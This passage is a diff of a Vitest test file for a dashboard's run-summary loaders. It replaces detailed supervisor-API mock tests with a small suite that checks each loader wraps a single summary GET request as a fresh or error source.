   loadSupervisorRunSummaryMountSource,
   loadSupervisorRunSummaryPreviewSource,
   loadSupervisorRunSummarySource,
-  resetSupervisorRunSummaryStateForTests,
 } from './runSummary';
 
-const baseApi: SupervisorApi = {
-  baseUrl: '/gc-supervisor',
-  health: vi.fn(),
-  cityHealth: vi.fn(),
-  cityStatus: vi.fn(),
-  listCities: vi.fn(),
-  listAgents: vi.fn(),
-  listRigs: vi.fn(),
-  listBeads: vi.fn(),
-  listEvents: vi.fn(),
-  getBead: vi.fn(),
-  createBead: vi.fn(),
-  updateBead: vi.fn(),
-  closeBead: vi.fn(),
-  nudgeAgent: vi.fn(),
-  agentPrime: vi.fn(),
-  sling: vi.fn(),
-  formulaFeed: vi.fn(),
-  listMail: vi.fn(),
-  markMailRead: vi.fn(),
-  markMailUnread: vi.fn(),
-  archiveMail: vi.fn(),
-  replyMail: vi.fn(),
-  sendMail: vi.fn(),
-  mailThread: vi.fn(),
-  cityEventStreamUrl: vi.fn(),
-  sessionStreamUrl: vi.fn(),
-  listSessions: vi.fn(),
-  sessionPending: vi.fn(),
-  respondSession: vi.fn(),
-  sessionTranscript: vi.fn(),
-  workflowRun: vi.fn(),
-  formulaDetail: vi.fn(),
-  mutationHeaders: () => ({ 'X-GC-Request': 'dashboard' }),
+// The four source loaders now all delegate to one warm GET against the BFF
+// run-projection endpoint, which folds the city event log and layers
+// session health/census + thrash marks server-side. Run semantics — grouping,
+// phase/stage classification, health/census derivation, stale-latch demotion,
+// the cheap/wide read split — moved to Go (internal/runproj) and are covered
+// byte-for-byte by the goldens there. What remains in TS is purely the
+// SourceState wrapping (fresh on success, error on failure), tested here.
+
+const sampleSummary = {
+  totalActive: 1,
+  totalHistorical: 0,
+  runCounts: { active: 1, blocked: 0, complete: 0 },
+  lanes: [],
+  historicalLanes: [],
+  blockedLanes: [],
+  recentChanges: [],
+  census: { status: 'unavailable' },
 };
 
-describe('loadSupervisorRunSummaryPreviewSource', () => {
-  beforeEach(() => {
-    setActiveCity('test-city');
-    resetSupervisorRunSummaryStateForTests();
-    vi.useFakeTimers();
-    vi.setSystemTime(new Date('2026-06-01T12:00:00.000Z'));
-  });
-
-  afterEach(() => {
-    resetSupervisorApiForTests();
-    resetSupervisorRunSummaryStateForTests();
-    vi.unstubAllGlobals();
-    vi.useRealTimers();
-    vi.clearAllMocks();
-  });
-
-  it('builds a first-paint summary from bounded active and recent run reads', async () => {
-    const listBeads = vi.fn(async () => beadList([runRoot()]));
-    const formulaFeed = vi.fn(async () => feed([feedRun()]));
-    const listSessions = vi.fn(async () => sessionList());
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads,
-      formulaFeed,
-      listSessions,
-    });
-
-    const source = await loadSupervisorRunSummaryPreviewSource();
-
-    expect(source.status).toBe('fresh');
-    if (source.status === 'error') throw new Error(source.error);
-    expect(source.data.totalActive).toBe(1);
-    expect(source.data.lanes[0]?.id).toBe('run-1');
-    expect(source.data.lanes[0]?.health.status).toBe('unavailable');
-    expect(listBeads).toHaveBeenCalledTimes(3);
-    expect(listBeads).toHaveBeenCalledWith('test-city', { limit: 500 });
-    expect(listBeads).toHaveBeenCalledWith('test-city', {
-      limit: 500,
-      type: 'molecule',
-      all: true,
-    });
-    expect(listBeads).toHaveBeenCalledWith('test-city', {
-      limit: 500,
-      type: 'task',
-      rig: 'rig-a',
-      all: true,
-    });
-    expect(formulaFeed).toHaveBeenCalledWith('test-city', {
-      scope_kind: 'city',
-      scope_ref: 'test-city',
-    });
-    expect(listSessions).not.toHaveBeenCalled();
-  });
-
-  it('marks the summary partial when a slow enrichment read exceeds the tight first-paint budget (gascity-dashboard-4bol)', async () => {
-    // First paint blocks on the preview load, so it keeps a tight 2.5s budget: a
-    // rig read that takes 10s on a slow supervisor degrades to partial rather
-    // than holding the tab blank. The wider refresh budget then clears it.
-    const listBeads = vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-      if (query?.type === 'molecule') return beadList([]);
-      if (query?.rig === 'rig-a') {
-        return new Promise<ListBodyBead>((resolve) => {
-          setTimeout(() => resolve(beadList([])), 10_000);
-        });
-      }
-      return beadList([runRoot()]);
-    });
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads,
-      formulaFeed: vi.fn(async () => feed([feedRun()])),
-      listSessions: vi.fn(async () => sessionList()),
-    });
-
-    const pending = loadSupervisorRunSummaryPreviewSource();
-    await vi.advanceTimersByTimeAsync(2_500);
-    const source = await pending;
-
-    expect(source.status).toBe('fresh');
-    if (source.status === 'error') throw new Error(source.error);
-    expect(source.data.totalActive).toBe(1);
-    expect(source.data.lanesPartial).toBe(true);
-  });
-});
-
-describe('loadSupervisorRunSummarySource', () => {
-  beforeEach(() => {
-    setActiveCity('test-city');
-    resetSupervisorRunSummaryStateForTests();
-    vi.useFakeTimers();
-    vi.setSystemTime(new Date('2026-06-01T12:00:00.000Z'));
-  });
+const loaders = {
+  source: loadSupervisorRunSummarySource,
+  mount: loadSupervisorRunSummaryMountSource,
+  active: loadSupervisorRunSummaryActiveSource,
+  preview: loadSupervisorRunSummaryPreviewSource,
+};
 
+describe('run summary source loaders', () => {
   afterEach(() => {
-    resetSupervisorApiForTests();
-    resetSupervisorRunSummaryStateForTests();
     vi.unstubAllGlobals();
-    vi.useRealTimers();
-    vi.clearAllMocks();
   });
 
-  it('builds the run summary from direct supervisor beads, feed, and sessions', async () => {
-    const fetchSpy = vi.fn();
-    vi.stubGlobal('fetch', fetchSpy);
-    const listBeads = vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-      if (query?.type === 'molecule') return beadList([]);
-      if (query?.rig === 'rig-a') {
-        return beadList([
-          bead({
-            id: 'run-1-step-1',
-            title: 'Implementation patch',
-            status: 'in_progress',
-            metadata: {
-              'gc.kind': 'step',
-              'gc.root_bead_id': 'run-1',
-              'gc.parent_bead_id': 'run-1',
-              'gc.step_id': 'implementation.patch',
-            },
+  for (const [name, load] of Object.entries(loaders)) {
+    it(`${name}: wraps the warm GET as a fresh runs source`, async () => {
+      const fetchMock = vi.fn(
+        async () =>
+          new Response(JSON.stringify(sampleSummary), {
+            status: 200,
+            headers: { 'content-type': 'application/json' },
           }),
-        ]);
-      }
-      return beadList([runRoot()]);
-    });
-    const formulaFeed = vi.fn(async () => feed([feedRun()]));
-    const listSessions = vi.fn(async () => sessionList());
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads,
-      formulaFeed,
-      listSessions,
-    });
-
-    const source = await loadSupervisorRunSummarySource();
-
-    expect(source.status).toBe('fresh');
-    if (source.status === 'error') throw new Error(source.error);
-    expect(source.fetchedAt).toBe('2026-06-01T12:00:00.000Z');
-    expect(source.data.totalActive).toBe(1);
-    expect(source.data.lanes).toHaveLength(1);
-    expect(source.data.lanes[0]).toMatchObject({
-      id: 'run-1',
-      title: 'Adopt PR #42',
-      phase: 'implementation',
-      scope: {
-        status: 'available',
-        kind: 'rig',
-        ref: 'rig-a',
-        rootStoreRef: 'rig:rig-a',
-      },
-      statusCounts: { open: 1, in_progress: 1 },
-    });
-    expect(source.data.census.status).toBe('available');
-    expect(listBeads).toHaveBeenCalledWith('test-city', { limit: 500 });
-    expect(listBeads).toHaveBeenCalledWith('test-city', {
-      limit: 500,
-      type: 'molecule',
-      all: true,
-    });
-    expect(listBeads).toHaveBeenCalledWith('test-city', {
-      limit: 500,
-      type: 'task',
-      rig: 'rig-a',
-      all: true,
-    });
-    expect(formulaFeed).toHaveBeenCalledWith('test-city', {
-      scope_kind: 'city',
-      scope_ref: 'test-city',
-    });
-    expect(listSessions).toHaveBeenCalledWith('test-city');
-    expect(fetchSpy).not.toHaveBeenCalled();
-  });
-
-  it('derives a rig lane scope from the feed root_store_ref even when the feed scope_kind is city (q89b detail scope leak)', async () => {
-    // The formula feed's top-level scope_kind is always 'city'; the rig identity
-    // lives only in root_store_ref. When the root bead carries no scope metadata
-    // (scope must come from the feed map), the lane must still resolve to its rig
-    // scope so the detail href carries it and the workflow fetch hits the fast
-    // single-store path — not the city-wide full-store scan.
-    const rootNoScope = runRoot({
-      id: 'run-2',
-      metadata: {
-        'gc.kind': 'run',
-        'gc.formula': 'mol-adopt-pr-v2',
-        'gc.formula_contract': 'graph.v2',
-      },
-    });
-    const listBeads = vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-      if (query?.type === 'molecule') return beadList([]);
-      if (query?.rig !== undefined) return beadList([]);
-      return beadList([rootNoScope]);
-    });
-    const cityScopedFeedRun = feedRun({
-      id: 'run-2',
-      root_bead_id: 'run-2',
-      workflow_id: 'run-2',
-      root_store_ref: 'rig:rig-b',
-      scope_kind: 'city',
-      scope_ref: 'test-city',
-    });
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads,
-      formulaFeed: vi.fn(async () => feed([cityScopedFeedRun])),
-      listSessions: vi.fn(async () => sessionList()),
-    });
-
-    const source = await loadSupervisorRunSummarySource();
-
-    expect(source.status).toBe('fresh');
-    if (source.status === 'error') throw new Error(source.error);
-    const lane = source.data.lanes.find((l) => l.id === 'run-2');
-    expect(lane?.scope).toEqual({
-      status: 'available',
-      kind: 'rig',
-      ref: 'rig-b',
-      rootStoreRef: 'rig:rig-b',
-    });
-  });
-
-  it('does not emit a malformed feed root_store_ref as the lane scope (validates against SCOPE_REF_RE)', async () => {
-    // The store-ref-first branch in discoverFromFeed must validate the parsed
-    // ref against SCOPE_REF_RE before using it — fromStoreRef does not validate,
-    // so a malformed root_store_ref like 'rig:bad ref@!' would otherwise become a
-    // scope_ref the detail route rejects. It must fall back to the feed scope.
-    const rootNoScope = runRoot({
-      id: 'run-3',
-      metadata: {
-        'gc.kind': 'run',
-        'gc.formula': 'mol-adopt-pr-v2',
-        'gc.formula_contract': 'graph.v2',
-      },
-    });
-    const listBeads = vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-      if (query?.type === 'molecule') return beadList([]);
-      if (query?.rig !== undefined) return beadList([]);
-      return beadList([rootNoScope]);
-    });
-    const malformedFeedRun = feedRun({
-      id: 'run-3',
-      root_bead_id: 'run-3',
-      workflow_id: 'run-3',
-      root_store_ref: 'rig:bad ref@!',
-      scope_kind: 'city',
-      scope_ref: 'test-city',
-    });
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads,
-      formulaFeed: vi.fn(async () => feed([malformedFeedRun])),
-      listSessions: vi.fn(async () => sessionList()),
-    });
-
-    const source = await loadSupervisorRunSummarySource();
-
-    expect(source.status).toBe('fresh');
-    if (source.status === 'error') throw new Error(source.error);
-    const lane = source.data.lanes.find((l) => l.id === 'run-3');
-    expect(lane?.scope).toMatchObject({
-      status: 'available',
-      kind: 'city',
-      ref: 'test-city',
-    });
-    if (lane?.scope.status === 'available') {
-      expect(lane.scope.ref).not.toBe('bad ref@!');
-    }
-  });
-
-  it('enriches blocked lanes with health and keeps them out of the active set (gascity-dashboard-4xcv)', async () => {
-    // gc-1920 repro: a stale blocked formula latch must land in
-    // blockedLanes (with derived health, so attention still sees it),
-    // never in lanes/totalActive.
-    const listBeads = vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-      if (query?.type === 'molecule') return beadList([]);
-      if (query?.rig === 'rig-a') return beadList([]);
-      return beadList([
-        runRoot(),
-        runRoot({
-          id: 'gc-1920',
-          title: 'mol-focus-review',
-          status: 'blocked',
-          metadata: {
-            'gc.kind': 'workflow',
-            'gc.formula_contract': 'graph.v2',
-            'gc.scope_kind': 'city',
-            'gc.scope_ref': 'test-city',
-            'gc.root_store_ref': 'city:test-city',
-          },
-        }),
-      ]);
-    });
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads,
-      formulaFeed: vi.fn(async () => feed([feedRun()])),
-      listSessions: vi.fn(async () => sessionList()),
-    });
-
-    const source = await loadSupervisorRunSummarySource();
-
-    expect(source.status).toBe('fresh');
-    if (source.status === 'error') throw new Error(source.error);
-    expect(source.data.totalActive).toBe(1);
-    expect(source.data.lanes.map((lane) => lane.id)).toEqual(['run-1']);
-    expect(source.data.blockedLanes.map((lane) => lane.id)).toEqual(['gc-1920']);
-    expect(source.data.blockedLanes[0]?.health.status).toBe('available');
-    expect(source.data.runCounts.blocked).toBe(1);
-  });
-
-  // gascity-dashboard-s4rp: the gc-1920 phantom now surfaces NOT as blocked but
-  // as a stale session-less approval latch — counted Active:1 despite no live
-  // session, no in_progress step, and ~4d since its last write. Enrichment must
-  // demote it out of the Active set and count once sessions resolve.
-  function staleLatch(): Bead {
-    return runRoot({
-      id: 'gc-1920',
-      title: 'mol-focus-review',
-      description: 'Focus + in-session review formula. Approval gate, review.',
-      status: 'open',
-      updated_at: '2026-05-28T00:00:00.000Z',
-      metadata: {
-        'gc.kind': 'run',
-        'gc.formula_contract': 'graph.v2',
-        'gc.scope_kind': 'city',
-        'gc.scope_ref': 'test-city',
-        'gc.root_store_ref': 'city:test-city',
-      },
-    });
-  }
-
-  it('demotes a stale session-less approval latch out of the Active set (gascity-dashboard-s4rp)', async () => {
-    const listBeads = vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-      if (query?.type === 'molecule') return beadList([]);
-      if (query?.rig === 'rig-a') {
-        return beadList([
-          bead({
-            id: 'run-1-step-1',
-            title: 'Implementation patch',
-            status: 'in_progress',
-            updated_at: '2026-06-01T11:55:00.000Z',
-            metadata: {
-              'gc.kind': 'step',
-              'gc.root_bead_id': 'run-1',
-              'gc.step_id': 'implementation.patch',
-            },
-          }),
-        ]);
-      }
-      return beadList([runRoot(), staleLatch()]);
-    });
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads,
-      formulaFeed: vi.fn(async () => feed([feedRun()])),
-      listSessions: vi.fn(async () => sessionList()),
-    });
-
-    const source = await loadSupervisorRunSummarySource();
-
-    expect(source.status).toBe('fresh');
-    if (source.status === 'error') throw new Error(source.error);
-    // run-1 has an in_progress step and stays Active; gc-1920 is demoted out of
-    // the Active set, count, AND the blocked/historical buckets (dropped).
-    expect(source.data.totalActive).toBe(1);
-    expect(source.data.lanes.map((lane) => lane.id)).toEqual(['run-1']);
-    expect(source.data.blockedLanes).toEqual([]);
-    expect(source.data.historicalLanes.map((lane) => lane.id)).not.toContain('gc-1920');
-    expect(source.data.runCounts.total).toBe(1);
-  });
-
-  it('keeps a session-less recent latch in the Active set (gascity-dashboard-s4rp)', async () => {
-    const listBeads = vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-      if (query?.type === 'molecule') return beadList([]);
-      if (query?.rig === 'rig-a') return beadList([]);
-      // Same shape as the stale latch but written 30 minutes ago — a recent
-      // session-less latch must still appear as Active (not demoted by liveness).
-      return beadList([{ ...staleLatch(), updated_at: '2026-06-01T11:30:00.000Z' }]);
-    });
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads,
-      formulaFeed: vi.fn(async () => feed([])),
-      listSessions: vi.fn(async () => sessionList()),
-    });
-
-    const source = await loadSupervisorRunSummarySource();
-
-    expect(source.status).toBe('fresh');
-    if (source.status === 'error') throw new Error(source.error);
-    expect(source.data.totalActive).toBe(1);
-    expect(source.data.lanes.map((lane) => lane.id)).toEqual(['gc-1920']);
-    // gascity-dashboard-q3p1: this latch is a bare root with NO step beads, so
-    // phase comes from the tightened keyword fallback. Its title
-    // ('mol-focus-review') carries a 'review' signal → 'review'. The old
-    // assertion was 'approval', which was the bug itself: the OLD scan read
-    // 'approval'/'gate' out of the run's DESCRIPTION ("Approval gate, review.")
-    // even though no approval-gate step exists. The lane staying Active — the
-    // actual subject of this test — is unchanged.
-    expect(source.data.lanes[0]?.phase).toBe('review');
-  });
-
-  it('demotes a phantom exactly even when active runs exceed the visible cap (gascity-dashboard-s4rp)', async () => {
-    // Demotion runs on the FULL active set, not the capped window, so totalActive
-    // is exact: a phantom is removed from the count even with >8 active runs.
-    const liveRuns = Array.from({ length: 9 }, (_, i) =>
-      runRoot({
-        id: `live-${i}`,
-        title: `Live run ${i}`,
-        status: 'open',
-        updated_at: '2026-06-01T11:55:00.000Z',
-        metadata: {
-          'gc.kind': 'run',
-          'gc.formula_contract': 'graph.v2',
-          'gc.scope_kind': 'city',
-          'gc.scope_ref': 'test-city',
-          'gc.root_store_ref': 'city:test-city',
-        },
-      }),
-    );
-    const listBeads = vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-      if (query?.type === 'molecule') return beadList([]);
-      if (query?.rig === 'rig-a') return beadList([]);
-      return beadList([...liveRuns, staleLatch()]);
-    });
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads,
-      formulaFeed: vi.fn(async () => feed([])),
-      listSessions: vi.fn(async () => sessionList()),
-    });
-
-    const source = await loadSupervisorRunSummarySource();
-
-    expect(source.status).toBe('fresh');
-    if (source.status === 'error') throw new Error(source.error);
-    expect(source.data.totalActive).toBe(9);
-    // gascity-dashboard: `lanes` carries the FULL active set now — the rendered
-    // 8-lane collapse is applied by RunMap, not the wire.
-    expect(source.data.lanes).toHaveLength(9);
-    expect(source.data.lanes.map((lane) => lane.id)).not.toContain('gc-1920');
-    // The phantom (the 10th, session-less latch) is demoted; all 9 live runs survive.
-    expect(source.data.lanes.map((lane) => lane.id)).toEqual(liveRuns.map((_, i) => `live-${i}`));
-    expect(source.data.runCounts.total).toBe(9);
-    expect(source.data.runCounts.visible).toBe(9);
-  });
-
-  it('keeps available lanes while marking the summary partial when a recent rig read fails', async () => {
-    const listBeads = vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-      if (query?.type === 'molecule') return beadList([]);
-      if (query?.rig === 'rig-a') throw new Error('rig unavailable');
-      return beadList([runRoot()]);
-    });
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads,
-      formulaFeed: vi.fn(async () => feed([feedRun()])),
-      listSessions: vi.fn(async () => sessionList()),
-    });
-
-    const source = await loadSupervisorRunSummarySource();
-
-    expect(source.status).toBe('fresh');
-    if (source.status === 'error') throw new Error(source.error);
-    expect(source.data.totalActive).toBe(1);
-    expect(source.data.lanesPartial).toBe(true);
-  });
-
-  it('marks the summary partial when the active bead list is cursor-truncated', async () => {
-    // gascity-dashboard-4xcv: the supervisor truncates at the fetch limit and
-    // reports the rest via next_cursor WITHOUT setting partial. Treat a present
-    // cursor as partial so saturation surfaces the notice + retry instead of
-    // silently dropping lanes at 501+ beads.
-    const listBeads = vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-      if (query?.type === 'molecule') return beadList([]);
-      return beadList([runRoot()], false, 'next-page-token');
-    });
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads,
-      formulaFeed: vi.fn(async () => feed([feedRun()])),
-      listSessions: vi.fn(async () => sessionList()),
-    });
-
-    const source = await loadSupervisorRunSummarySource();
-
-    expect(source.status).toBe('fresh');
-    if (source.status === 'error') throw new Error(source.error);
-    expect(source.data.totalActive).toBe(1);
-    expect(source.data.lanesPartial).toBe(true);
-  });
-
-  it('marks the summary partial when the active bead list is truncated at the fetch limit', async () => {
-    // gascity-dashboard-q89b: the primary fetch is bounded; when the upstream
-    // total exceeds what one page returned, active runs may be missing and the
-    // lanes must read as partial rather than complete.
-    const listBeads = vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-      if (query?.type === 'molecule') return beadList([]);
-      if (query?.rig === 'rig-a') return beadList([]);
-      return { ...beadList([runRoot()]), total: 501 };
-    });
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads,
-      formulaFeed: vi.fn(async () => feed([feedRun()])),
-      listSessions: vi.fn(async () => sessionList()),
-    });
-
-    const source = await loadSupervisorRunSummarySource();
-
-    expect(source.status).toBe('fresh');
-    if (source.status === 'error') throw new Error(source.error);
-    expect(source.data.lanesPartial).toBe(true);
-  });
-
-  it('does not let optional enrichment reads hold the summary refresh indefinitely', async () => {
-    const listBeads = vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-      if (query?.type === 'molecule') return new Promise<ListBodyBead>(() => {});
-      if (query?.rig === 'rig-a') return beadList([]);
-      return beadList([runRoot()]);
-    });
-    const formulaFeed = vi.fn(async () => new Promise<FormulaFeedBody>(() => {}));
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads,
-      formulaFeed,
-      listSessions: vi.fn(async () => sessionList()),
-    });
-
-    const pending = loadSupervisorRunSummarySource();
-    // The full source is Runs.tsx's background refresh, so its enrichment runs on
-    // the wider REFRESH budget (gascity-dashboard-4bol); the cap still fires.
-    await vi.advanceTimersByTimeAsync(30_000);
-    const source = await pending;
-
-    expect(source.status).toBe('fresh');
-    if (source.status === 'error') throw new Error(source.error);
-    expect(source.data.totalActive).toBe(1);
-    expect(source.data.lanesPartial).toBe(true);
-  });
-
-  it('clears the spurious partial when a slow-but-available enrichment read lands within the wider refresh budget (gascity-dashboard-4bol)', async () => {
-    // The background refresh tolerates a slow supervisor: a rig read that takes
-    // 10s — past the 2.5s first-paint budget but inside the 30s refresh budget —
-    // lands, so the lanes are NOT latched partial (upstream gascity-dashboard#88).
-    const listBeads = vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-      if (query?.type === 'molecule') return beadList([]);
-      if (query?.rig === 'rig-a') {
-        return new Promise<ListBodyBead>((resolve) => {
-          setTimeout(() => resolve(beadList([])), 10_000);
-        });
-      }
-      return beadList([runRoot()]);
-    });
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads,
-      formulaFeed: vi.fn(async () => feed([feedRun()])),
-      listSessions: vi.fn(async () => sessionList()),
-    });
-
-    const pending = loadSupervisorRunSummarySource();
-    await vi.advanceTimersByTimeAsync(10_000);
-    const source = await pending;
-
-    expect(source.status).toBe('fresh');
-    if (source.status === 'error') throw new Error(source.error);
-    expect(source.data.totalActive).toBe(1);
-    expect(source.data.lanesPartial).toBeUndefined();
-  });
-
-  it('keeps the tight first-paint budget on the mount source so Home/Formula Run Detail never block on a slow read (gascity-dashboard-4bol)', async () => {
-    // Same 10s rig read as the refresh test above, but the mount source (Home,
-    // Formula Run Detail first paint) runs on the 2.5s budget — the read does NOT
-    // land, so the lanes are latched partial rather than blocking ~30s on a cold
-    // navigation. This is the regression guard for the refresh-budget leak.
-    const listBeads = vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-      if (query?.type === 'molecule') return beadList([]);
-      if (query?.rig === 'rig-a') {
-        return new Promise<ListBodyBead>((resolve) => {
-          setTimeout(() => resolve(beadList([])), 10_000);
-        });
-      }
-      return beadList([runRoot()]);
-    });
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads,
-      formulaFeed: vi.fn(async () => feed([feedRun()])),
-      listSessions: vi.fn(async () => sessionList()),
-    });
-
-    const pending = loadSupervisorRunSummaryMountSource();
-    await vi.advanceTimersByTimeAsync(2_500);
-    const source = await pending;
-
-    expect(source.status).toBe('fresh');
-    if (source.status === 'error') throw new Error(source.error);
-    expect(source.data.totalActive).toBe(1);
-    expect(source.data.lanesPartial).toBe(true);
-  });
-
-  it('keeps active lanes and marks partial when the molecule-history read rejects (gascity-dashboard-9rk2)', async () => {
-    // The molecule(all=true) scan surfaces historical run roots only; it is
-    // best-effort. A rejection must fold to `partial` with the active lanes still
-    // present — never escalate to a whole-view error/"Run data unavailable".
-    const listBeads = vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-      if (query?.type === 'molecule') throw new Error('molecule history unavailable');
-      if (query?.rig === 'rig-a') return beadList([]);
-      return beadList([runRoot()]);
-    });
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads,
-      formulaFeed: vi.fn(async () => feed([feedRun()])),
-      listSessions: vi.fn(async () => sessionList()),
-    });
-
-    const source = await loadSupervisorRunSummarySource();
-
-    expect(source.status).toBe('fresh');
-    if (source.status === 'error') throw new Error(source.error);
-    expect(source.data.totalActive).toBe(1);
-    expect(source.data.lanes.map((lane) => lane.id)).toEqual(['run-1']);
-    expect(source.data.lanesPartial).toBe(true);
-  });
-
-  it('bounds a slow molecule-history read to its own timeout and folds it to partial (gascity-dashboard-9rk2)', async () => {
-    // Live the molecule scan runs ~6.8s — past the 5s required-fetch budget. On
-    // the wide 30s refresh it would otherwise stall the whole refresh; its own
-    // 3s bound caps it so the active set still paints and only the historical
-    // lanes degrade to partial.
-    const listBeads = vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-      if (query?.type === 'molecule') {
-        return new Promise<ListBodyBead>((resolve) => {
-          setTimeout(() => resolve(beadList([])), 6_800);
-        });
-      }
-      if (query?.rig === 'rig-a') return beadList([]);
-      return beadList([runRoot()]);
-    });
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads,
-      formulaFeed: vi.fn(async () => feed([feedRun()])),
-      listSessions: vi.fn(async () => sessionList()),
-    });
-
-    const pending = loadSupervisorRunSummarySource();
-    // Advance past the molecule's own 3s bound but well short of its 6.8s
-    // completion: the bound fires, the active set still resolves.
-    await vi.advanceTimersByTimeAsync(3_000);
-    const source = await pending;
-
-    expect(source.status).toBe('fresh');
-    if (source.status === 'error') throw new Error(source.error);
-    expect(source.data.totalActive).toBe(1);
-    expect(source.data.lanes.map((lane) => lane.id)).toEqual(['run-1']);
-    expect(source.data.lanesPartial).toBe(true);
-  });
-
-  it('returns an error source when the active bead list fails', async () => {
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads: vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-        if (query?.type === 'molecule') return beadList([]);
-        throw new Error('beads unavailable');
-      }),
-      formulaFeed: vi.fn(async () => feed([])),
-      listSessions: vi.fn(async () => sessionList()),
-    });
-
-    const source = await loadSupervisorRunSummarySource();
-
-    expect(source).toEqual({
-      source: 'runs',
-      status: 'error',
-      error: 'beads unavailable',
-    });
-  });
-
-  // gascity-dashboard fix/runs-fetch-resilience: a transient core-read timeout
-  // under a CPU burst must not blank the view on a first load (no last-good
-  // snapshot yet). The core active-bead read retries once before giving up.
-  it('retries the core active-bead read once on a transient timeout and resolves to data', async () => {
-    let coreAttempts = 0;
-    const listBeads = vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-      if (query?.type === 'molecule') return beadList([]);
-      if (query?.rig === 'rig-a') return beadList([]);
-      coreAttempts += 1;
-      if (coreAttempts === 1) {
-        throw new SupervisorApiError(
-          undefined,
-          'gc supervisor request timed out after 15000ms',
-          undefined,
-        );
+      );
+      vi.stubGlobal('fetch', fetchMock);
+
+      const state = await load();
+
+      expect(state).toMatchObject({
+        source: 'runs',
+        status: 'fresh',
+        error: { kind: 'none' },
+        data: { totalActive: 1 },
+      });
+      if (state.status !== 'error') {
+        expect(typeof state.fetchedAt).toBe('string');
+        expect(Date.parse(state.staleAt)).toBeGreaterThan(Date.parse(state.fetchedAt));
       }
-      return beadList([runRoot()]);
-    });
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads,
-      formulaFeed: vi.fn(async () => feed([feedRun()])),
-      listSessions: vi.fn(async () => sessionList()),
-    });
-
-    const pending = loadSupervisorRunSummarySource();
-    // Drain the short retry backoff so the second attempt fires.
-    await vi.advanceTimersByTimeAsync(250);
-    const source = await pending;
-
-    expect(source.status).toBe('fresh');
-    if (source.status === 'error') throw new Error(source.error);
-    expect(coreAttempts).toBe(2);
-    expect(source.data.totalActive).toBe(1);
-    expect(source.data.lanes.map((lane) => lane.id)).toEqual(['run-1']);
-  });
-
-  it('surfaces an error when the core active-bead read times out on every attempt', async () => {
-    let coreAttempts = 0;
-    const listBeads = vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-      if (query?.type === 'molecule') return beadList([]);
-      coreAttempts += 1;
-      throw new SupervisorApiError(
-        undefined,
-        'gc supervisor request timed out after 15000ms',
-        undefined,
+      expect(fetchMock).toHaveBeenCalledWith(
+        '/api/city/test-city/runs/summary',
+        expect.objectContaining({ method: 'GET' }),
       );
     });
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads,
-      formulaFeed: vi.fn(async () => feed([])),
-      listSessions: vi.fn(async () => sessionList()),
-    });
-
-    const pending = loadSupervisorRunSummarySource();
-    await vi.advanceTimersByTimeAsync(250);
-    const source = await pending;
-
-    // A sustained failure is not hidden: after the retries are spent the view
-    // still surfaces the error so a real outage isn't masked forever.
-    expect(coreAttempts).toBe(2);
-    expect(source.status).toBe('error');
-    if (source.status !== 'error') throw new Error('expected error source');
-    expect(source.error).toContain('timed out after 15000ms');
-  });
-
-  it('does not retry the core read on a non-transient (4xx) failure', async () => {
-    let coreAttempts = 0;
-    const listBeads = vi.fn(async (_cityName: string, query?: Record<string, unknown>) => {
-      if (query?.type === 'molecule') return beadList([]);
-      coreAttempts += 1;
-      throw new SupervisorApiError(400, 'bad request', undefined);
-    });
-    setSupervisorApiForTests({
-      ...baseApi,
-      listBeads,
-      formulaFeed: vi.fn(async () => feed([])),
-      listSessions: vi.fn(async () => sessionList()),
-    });
 
-    const source = await loadSupervisorRunSummarySource();
-
-    expect(coreAttempts).toBe(1);
-    expect(source.status).toBe('error');
-  });
+    it(`${name}: returns an error source when the GET fails`, async () => {
+      vi.stubGlobal(
+        'fetch',
+        vi.fn(
+          async () =>
+            new Response(JSON.stringify({ error: 'run view is warming' }), {
+              status: 503,
+              headers: { 'content-type': 'application/json' },
+            }),
+        ),
+      );
 
-  it('reads the core active-bead fetch on the raised burst-tolerant budget', () => {
-    // The path is ~0.02s normally, so the higher ceiling only matters during a
-    // spike; it must stay well above the old 5s budget to absorb a burst.
-    expect(CORE_RUN_SUMMARY_TIMEOUT_MS).toBe(15_000);
-    expect(CORE_RUN_SUMMARY_TIMEOUT_MS).toBeGreaterThan(5_000);
-  });
-});
+      const state = await load();
 
-describe('loadSupervisorRunSummaryActiveSource — cheap SSE-burst path', () => {
-  beforeEach(() => {
-    setActiveCity('test-city');
-    resetSupervisorRunSummaryStateForTests();
-  });
-  afterEach(() => {
